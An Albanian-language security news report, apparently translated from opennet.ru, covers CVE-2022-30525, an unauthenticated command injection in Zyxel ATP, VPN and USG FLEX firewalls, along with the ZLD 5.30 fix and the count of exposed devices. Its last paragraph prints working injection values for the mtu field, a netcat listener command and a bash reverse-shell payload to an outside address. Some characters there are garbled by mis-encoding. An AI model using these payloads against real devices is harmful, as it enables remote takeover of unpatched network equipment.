Në pajisjet Zyxel të serive ATP, VPN dhe USG FLEX, të destinuara për menaxhimin e goditjeve në rrjet, IDS dhe VPN në ndërmarrje, është zbuluar një vulnerabilitet kritik (CVE-2022-30525), i cili lejon një sulmues të jashtëm të ekzekutojë kod në pajisje me të drejta të përdoruesit nobody pa autentifikim. Për të kryer sulmin, sulmuesi duhet të ketë mundësinë të dërgojë kërkesa në pajisje nëpërmjet protokollit HTTP/HTTPS. Kompania Zyxel ka eliminuar këtë vulnerabilitet me azhurnimin e firmware-it ZLD 5.30. Sipas shërbimit Shodan, aktualisht në rrjetin global janë regjistruar 16213 pajisje potencialisht vulnerabël, të cilat pranojnë kërkesa përmes HTTP/HTTPS.
Shfrytëzimi kryhet përmes dërgimit të komandave të hartuara posaçërisht te web-ndihmuesi /ztp/cgi-bin/handler, i cili është i qasshëm pa autentifikim. Problemi është shkaktuar nga mungesa e pastrimit të duhur të parametrave të kërkesës gjatë ekzekutimit të komandave në sistem me thirrjen os.system, e cila përdoret në bibliotekën lib_wan_settings.py dhe ekzekutohet gjatë përpunimit të operacionit setWanPortSt.
PĂ«r shembull, sulmuesi mund tĂ« dĂ«rgojĂ« nĂ« fushĂ«n mtu stringun «; ping 192.168.1.210;» i cili do tĂ« shkaktojĂ« ekzekutimin nĂ« sistem tĂ« komandĂ«s «ping 192.168.1.210». PĂ«r tĂ« fituar akses nĂ« shell-in e komandave, mund tĂ« nisni nĂ« sistemin tuaj «nc -lvnp 1270», dhe pastaj tĂ« inicioni njĂ« lidhje tĂ« kundĂ«rt (reverse shell) duke dĂ«rguar njĂ« kĂ«rkesĂ« nĂ« pajisje me parametrin â; bash -c \»exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;â.
Burimi: opennet.ru
